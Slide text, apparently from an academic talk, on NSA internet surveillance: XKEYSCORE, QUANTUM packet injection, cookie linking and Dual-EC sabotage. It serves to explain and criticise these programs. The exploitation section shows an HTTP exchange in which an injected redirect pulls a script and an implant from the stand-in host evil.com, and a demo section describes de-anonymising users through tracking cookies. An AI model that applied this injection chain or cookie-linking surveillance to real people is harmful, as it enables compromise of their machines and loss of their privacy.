Reflecting on Internet Surveillance and Control

Nicholas Weaver
ICSI & UC Berkeley
About Me...
Classified Information And This Talk...

- There is no "it was on the front page of the NY Times" declassification rule!
  - I don't have a clearance or obligation, I can read as much of that as I want
  - But other who have a clearance have obligations...

- Following the Lawfare Blog principle in this talk: **NO IMAGES OF CLASSIFIED INFORMATION**
  - But this is derived from a ton of public but still classified information
  - And I will *name* programs
The Leakers...

- In May 2013 a (check all that apply):
  - Disgruntled Sharepoint Administrator
  - Courageous Whistleblowing Patriot

- named Edward Snowden downloaded a massive trove of classified information from his contractor job at NSA Hawaii

- He then flew to Hong Kong and shared the trove of data with Glen Greenwald, the Washington Post, and the Guardian

- He also started a small flood of additional disclosure in the subsequent years
  - ANT Catalog and Tor XKS rules: Unknown party to Jacob Appelbaum
  - New Zealand XKS rules: Unknown party to the New Zealand Morning Herald
  - NSA Sigint Summaries: Unknown party to Wikileaks
  - NSA exploitation tools: Public release by "The Shadowbrokers"
The 10,000' View: The NSA

- Mission: To have the **capability** to collect communication information on **any particular** non-US target
  - But the NSA doesn't know today **who** they may want to target tomorrow...
    So when possible, collect it all and search it later

- Resources:
  - Creative interpretation of the already very permissive law
  - Some privileged locations to monitor Internet traffic
  - 4 friends (UK, CA, AU, NZ) and a lot of frenemies with a lot more privileged locations
  - More money than God™

- Primary tool: "Digital Network Intelligence" (DNI) flow...
And Approximately The Laws...

- Executive Order 12333 (EO-12333) and successors:
  - Non "US person", acting entirely outside the US, anything goes

- FISA Amendments Act section 702 (FAA 702)
  - Non "US person", but collecting data in the US (e.g. from US companies): certify the program with the Foreign Intelligence Surveillance Court

- Patriot Act section 215
  - Business records "relevant" to an investigation

- US persons:
  - Get a warrant...
    It turns out the FBI has been a bit sloppy here, but even the sloppy part is an absolute crap-ton of paperwork
Not About Needles In Haystacks
Not About
Connecting the Dots
Drift Nets to Create Metadata

HTTP Request:
- URL: X
- Spotted .onion URL: X
- .doc file: Author X
- Is an Iphone?
- Mojahadeen Secrets key: X
- PGP message key: X
Pulling Threads To Get Results
A Thread To Pull: Watching an IRC Chat

OtherDude: Hey, did you see
AnonDude: hmmm...
AnonDude: HAHAH, that's pretty funny!

Intercept captured 12/30/2011 11:32 GMT

Step 1: "Use SIGINT" (Signals Intelligence)/DNI
(Digital Network Intelligence):
Enables identification of AnonDude and developing a "pattern of life" for his online behavior

Step 2: "Use CNE" (Computer Network Exploitation):
After identification, invoke "exploit by name" to take over AnonDude's computer
The Heart Of The System: Network Intrusion Detection XKEYSCORE

- The goal of a scalable NIDS is to understand the traffic on the network in order to detect attacks
- The goal of the DNI flow is to understand the traffic on the network in order to understand the people
- Same overall problem with just a couple of tweaks
  - NIDS wants real-time to potentially enable network response
  - DNI is ok with near-real-time: It is OK if data isn't organized until a communication ends
How a Scalable Network Intrusion Detection System Works

Do this in OpenFlow:
100 Gbps installs operationally

Linear Scaling:
10x the money...
10x the bandwidth!
1u gives 1-5 Gbps

Tap

High Volume Filter

Load Balancer

Is Not BitTorrent?

H(SIP, DIP)
Inside a NIDS Node

Unlike conventional NIDS you don't worry about evasion: Anyone who wants to evade uses cryptography instead.
Which NIDS To Use?

- **Bro Zeek Network Security Monitor (BSD licensee)**
  - Includes a robust suite of protocol parsers
  - Realtime operation, invokes Bro policy scripts
  - Requires seeing both sides of the traffic:
    Fine for demos but not suitable for operational deployment for spying

- **Lockheed/Martin Vortex (GPL)**
  - Only handles the reassembly:
    Network traffic to files, then invoke separate parser programs
  - Near real-time operation

- **Eagle GLINT by Nexa Technologies**
  - Formerly Amesys (was part of Bull)
  - Commercial "Intelligence" interception package
Why Vortex Probably Birthed XKEYSCORE

- A realtime NIDS raises events as the traffic comes in
  - EG, "received an HTTP header, contents: XXXX" with an event-centric programming model
- XKS is different:
  - Programming model is centered around "all the data has been parsed, what matches"?
  - Plus analysts can extend processing with C++ code
- Vortex's model matches XKS:
  - Vortex reassembles into files
  - Stage 1 XKS then parses the resulting files
  - Analysis programs would then run independently
    - So if one crashes it doesn't affect other programs
  - Less efficient than a realtime NIDS, but efficiency is just $$...
Tracking People Not Machines: User Identification
Tracking People, Not Machines: Cookie Linking
Bulk Recording
Where To Deploy?

- Can't really deploy in the US
  - Most permissive law is 702, and even that isn't permissive enough for XKEYSCORE
- Instead deploy on 5-Eyes soil or on US foreign bases...
  - 1/2 the capability at the time of Snowden was in the UK!
- Plus make a deal with your intelligence frenemies...
  - Hey, European Country A, wanna install XKS on this link between you and Country B?
    - We both get access, and we won't spy on your citizens or our citizens
  - OK, cool...
  - Hey, European Country B....
Reflecting on Internet Surveillance

Nicholas Weaver

Federated Search
To Manage It All

Who Viewed This Page?

Who Viewed This Page?
Who Viewed This Page?
Who Viewed This Page?
Query Focused Centralized Datasets

Site: arstechnica.com
Username: broidsrocks
Cookie: 223e77...
From IP: 10.271.13.1
Seen: 2012-12-01 07:32:24
Use SIGINT

- BBC Pageview
  - Double-click Ad
    - Linked User IDs
      - IP Activity History (unmasked VPNs)
    - "IP Intelligence"
  - AnonDude is...
    - AnonDude's House
Reflecting on Internet Surveillance

Nicholas Weaver

Computer Network Exploitation

AirPwn - Goatse
HackingTeam
(or, as MitM: China’s "Great Cannon"

HTTP 302 FOUND
location: http://www.evil.com/pwnme.js

GET /script.js HTTP/1.1
host: www.targetdomain.com
cookie: id=iamavictim

HTTP 200 OK

GET /script.js HTTP/1.1
host: www.targetdomain.com
cookie: id=iamavictim

HTTP 302 FOUND
location: http://www.evil.com/pwnme.js

GET /pwnme.js HTTP/1.1
host: www.evil.com

HTTP 200 OK

GET /theimplant HTTP/1.1
host: www.evil.com

HTTP 200 OK

Here's an exploit...

Black Market RATs
HackingTeam
FinFisher
NSO Group

Metasploit
HackingTeam
FinFisher
NSO Group

NSA Eagle from the EFF
Rat from OpenClipart
NSA QUANTUM...
Broken By Design

• This was one of the two or three *biggest* secrets revealed by Snowden
  • And we probably know about it because some idiot chose a meaningful name!
  • Yet the front end is *literally* airpwn with the serial # filed off: It is stateless

• But the implementation was lousy!
  👍 Weaponize our wiretaps to "shoot" exploits at people
  👍 Use this to attack a NATO ally's critical infrastructure
  🤷‍♂️ Build it right? Nah, classification rules get in the way

• Back end goes through a bunch of diodes (security-protecting systems) so that the front end doesn't actually know what to inject...
And China...

- China uses NIDS & packet injection for censorship
  - The "Great Firewall"
  - Responds to both DNS requests and "bad" TCP payloads
  - Continual arm-race on detection & evasion tools

- China also has deployed an in-path MitM attack device
  - The "Great Cannon"
  - Used to substitute web fetches with malicious content
    - Only (known) usage to implement a DoS attack on those objecting to Chinese censorship
Reflecting on Internet Surveillance

Nicholas Weaver

I Built My Own XKS & QUANTUM... For Fun!

Welcome To Cylon Fleet Command

This demo server offers several Internet monitoring and attack capabilities, all wrapped up in one convenient little package. Under the hood, the server is running an off the shelf IDS with some additional monitoring scripts and a custom web server to provide a convenient interface.
The Hardware: Hotel-Level Deployment in 2015

Intel NUC computer

DualComm Gbps Tap $836.37

Could Probably Replace the NUC with a Raspberry Pi 4 today:
Quad core 1.5 GHz ARM, 4 GB RAM, GigE,
Large SD card, case, power supply: <$120 system
Of course, collecting a whole bunch of "metadata" and content is useless unless you can search it. So search away.
Welcome To Cylon Fleet Command

Search: Anonymous.*US

Connection 192.168.51.99 to 212.58.246.113 (full take) (file)
Connection 192.168.51.99 to 212.58.246.113 (full take)
Connection 192.168.51.99 to 77.72.112.213 (full take)
Anonymous hackers attack US defence group

Screengrab of Anonymous data dump, Anonymous The stolen data was put on a file-sharing website so anyone can download it

Continue reading the main story

Related Stories
IP: 192.168.51.99 tasking options

Observed Cookies
Cookie adnxs:uuid2=8852120935374629795
Cookie adsrvr:TDID=cd266741-c0f1-42c5-8529-e812441055ae
Cookie advertising:ACID=at810014439686080085
Cookie agkn:uuid=194070683398418306
Cookie doubleclick:id=22392830d70300c9
Cookie imrworldwide:IMRID=f68a3d45-cafa-4bc8-93cf-9985b9d2e489
Cookie krxd:_kuid_=KGDzIbQz
Cookie mathtag:uuid=7aa95611-3661-4900-87bd-064d70f1370d
Cookie nytimes:RMID=007f01011492561133460001
Cookie revsci:rts_AAAA=MLuB86QsXkGiDUw6LAw6IpFSRIRQwhR9k1pFQ0QQY2EVq3Oe
Cookie rubiconproject:ruid=591e7d7e5611365f408660a464ff2b^1^1443968607^1082548388
Cookie scorecardresearch:UID=1E81652542105aa1902468g1443890667
Cookie turn:uid=7665309711173624339
Cookie: yahoo:B=2g9cao9b0m0e4

User: yahoo: broidsrocks
Linked Cookie: doubleclick:id=22392830d70300c9
Linked Cookie: scorecardresearch:UID=1E81652542105aa1902468g1443890667
Linked Cookie: yahooapis:BX=2g9cao9b0m0e4
Linked Cookie: yimg:ypcdb=9fec95a784acc904d7f6fc86a1642ea8
Active 2015-10-05 03:04:33 to 2015-10-05 03:04:33 at IP 10.100.200.70
Reflection on Internet Surveillance

Nicholas Weaver

IP: 10.100.200.70 tasking options

**Identified User:** arstechnica: brorocksduke

**Identified User:** yahoo: broidsrocks

**Observed Cookies**

Cookie advertising:ACID=at810014439686080085
Cookie arstechnica:phpbb3_5qbzr_u=503807
Cookie doubleclick:id=22392830d70300c9
Cookie revsci:rt:AAAA=MLs3r1VvsS9/JLGkbb9TGCjrTM70/lRo91pzyAcx6xKRE/J1qELIuLWKJ6atthm8V8uUKM+oDVIC3qi7UCHTpAGqDj5zQYlj6ca7fRDP+1/IFvOsG1Wx7xiMnsOduc4g6XyAam9cfSBzKO7NTnkUOhbKSfJ7ydmnakcxWZw=
Cookie revsci:rt:AAAA=MLs3ry9vsD9/JLEfbB3yGDBB61FeC8EHnCxcp+krohsREPE/9UpN+vSP5L7/36FJ9E7JZVDy9NWuClbc1H/TpAHK8T6MQYnh6aocmoAa5De1JSBo4QcGKUz3MzwT+4Jqr3iAaW8+Nwb5jC26FSWGVMblepynnueekdVWZw=
Cookie scorecardresearch:UID=1E81652542105aa1902468g1443890667


Welcome To Cylon Fleet Command

Targeting IP 10.100.200.70

❖ User Identification ❖ Pwnie
But What About Cryptography?

- The wiretaps have a secure model to protect cryptographic "secrets"
  - Capture the handshakes and outsource it back to the US...
    If the crypto magic breaks the key, then decrypt the traffic
  - But still spills the secret that they are breaking the crypto!

- A Big Tool: kleptography
  - Steal the private keys: works for RSA-based protocols (notably PGP and TLS-RSA)

- But there was more...
  - Captured handshakes for VPNs, TLS-DHE etc...
    Which use Diffie-Hellman style exchanges which resist passive adversaries!
  - But at the same time, there was no 100% magic:
    3096b DHE and 384b ECDHE are approved (and still approved) for US Top Secret
Breaking Diffie-Hellman...
Sabotage!

- The NSA bribed RSA Data Security to use Dual-EC DRBG and make it the default random number generator
  - With a backdoor in it: if you know the backdoor's key and see the output, you can "go backwards" to discover the secret keys previously generated
- The NSA then got this adopted as a NIST standard and did other tweaks to make it easier for them...
  - Meanwhile, the backdoor's possibility was identified
- So when the Snowden revelations came out...
  - The NY Times mentioned vaguely the Niels Ferguson talk on the subject...
  - And everybody in the computer security field knew in 30 seconds that it was Dual-EC...
  - And boy was everybody mad!
Dual-EC & Juniper: The ?NSA? Got Hoisted On Its Own Petard...

- Juniper used Dual-EC in their VPN appliances too...
  - Thanks to unknown INTELLIGENCE AGENCY 1 (bet it was the NSA)...
  - "But its safe, we used a different parameter set"...
    - Just ignore the fact that unless you want a backdoor, you never use Dual-EC!
- INTELLIGENCE AGENCY 2 broke into Juniper...
  - Nice backdoor you got here... Let's rekey the lock
  - Locking out IA 1 in the process!
- Then INTELLIGENCE AGENCY 3 broke in and added a different backdoor!
  - Juniper in its cleanup process also changed the Dual-EC parameters back...
  - Latest RUMINT is that IA2 and 3 were both China... OOPS!
- Computer security community goes "Hey, a backdoor? Let's take a look..." and hilarity ensues
But There Was Probably More...

- Great work from Adrian et al ("Imperfect Forward Secrecy")...
- Observation: DH can benefit greatly from precomputing
  - A huge amount of the work is per prime $p$ not per key-exchange
  - So the NSA could precompute a huge amount of the work for 1024b DH...
    after building a custom chip supercomputer
  - Oh, and you can sabotage $p$: Make it take 100,000 less effort!
    - And nobody knows how the example $p$ for 1024b DH was generated!
- Either the NSA was doing this...
  - And got seriously pissed by the weak DH work
- Or they weren't
  - And got seriously pissed because they could have been doing this!
But What About 702?

- **Limited** (keyword-searching, no recording) bulk surveillance on network connections entering/leaving the US (UPSTREAM)
  - Mostly for email senders, legalizing a GWBush era program

- Data requests of US companies (PRISM)
  - Not “bulk” but that’s kinda splitting hairs:
    Each one of tens of thousands of individually curated requested individuals
  - This got a huge fight from Yahoo…
    - That lost in the FISC

- But apparently that wasn’t enough:
  NSA *bulk-tapped* Yahoo & Google’s overseas internal links!
  - “Encryption Added and Removed Here :)”
Abusive but not Abused

- Bulk surveillance is abusive by nature
  - Plus lots of other things NSA did to undermine everyone’s security
- But there is effectively zero evidence of actual abuse!
  - A few cases of LOVEINT
  - No cases of economic espionage*
  - **No cases** of STOCKINT
- Snowden docs revealed some targeting
  - An Australian woman…
    - Who’s boyfriend ran off to join the Taliban
  - 5 US Muslims…
    - As part of the Holy Land investigation
Post-Snowden: Darkness as a Way of Life

- Network encryption is now **free**
  - Lets-Encrypt reduces the cost of TLS certificates to nearly nothing
  - Yahoo! forced all their add networks to support TLS:
    Biggest limiter on TLS adoption is you can’t use TLS if your third party content doesn’t support TLS
  - Most TLS is now ECDHE 256b or stronger
  - Almost all email uses STARTTLS
- **And now a lot stronger**
  - TLS1.3: *only forward secure modes* allowed!
  - Forward secure messaging clients like Signal/WhatsApp
- **Limits bulk surveillance to simple, high level metadata**
  - So both XKEYSCORE, Quantum, and Upstream are now nearly useless!
Post-Snowden: Supply Chain Attacks…

• The “Big Hack” story is bad reporting
• But supply chain attacks are real!
• NSA caught doing them in Snowden documents to Cisco products
  • Complete with photos of the box being opened… Before being shipped to Syria!
• So if you see all this, why wouldn’t China do the same thing?
  • So WTF would you buy your 5G equipment from Huawei?
Post-Snowden: Hacking

• The NSA has no great advantage here
  • Some cool tools (e.g. ETERNALBLUE: a god-mode Windows SMB exploit), but those got ?caught?, stolen, and published

• And both NSA and GCHQ malcode gotouted
  • Through a combination of Snowden documents & analysis from Kasperski

• Overall, the NSA & co are *too* cautious…
  • The honey-badgers don’t give a shit

• And the tools are democratic
  • Just write a check to NSO, Hacking Team, FinFisher, etc…
  • Or just hire a bunch of NSA contractors yourself if you are the UAE
Welcome To The Future...

- Anything the NSA did...
  - Now anyone else can do!
- The area the NSA was best at, bulk surveillance... has died
  - And the NSA’s only real advantage was our friends, everyone else can always do that internally
- Hacking and other skulduggery?
  - China has a huge advantage: Supply chain & Honey Badger
  - Russia has an OK advantage: Honey Badger & Friendly White-House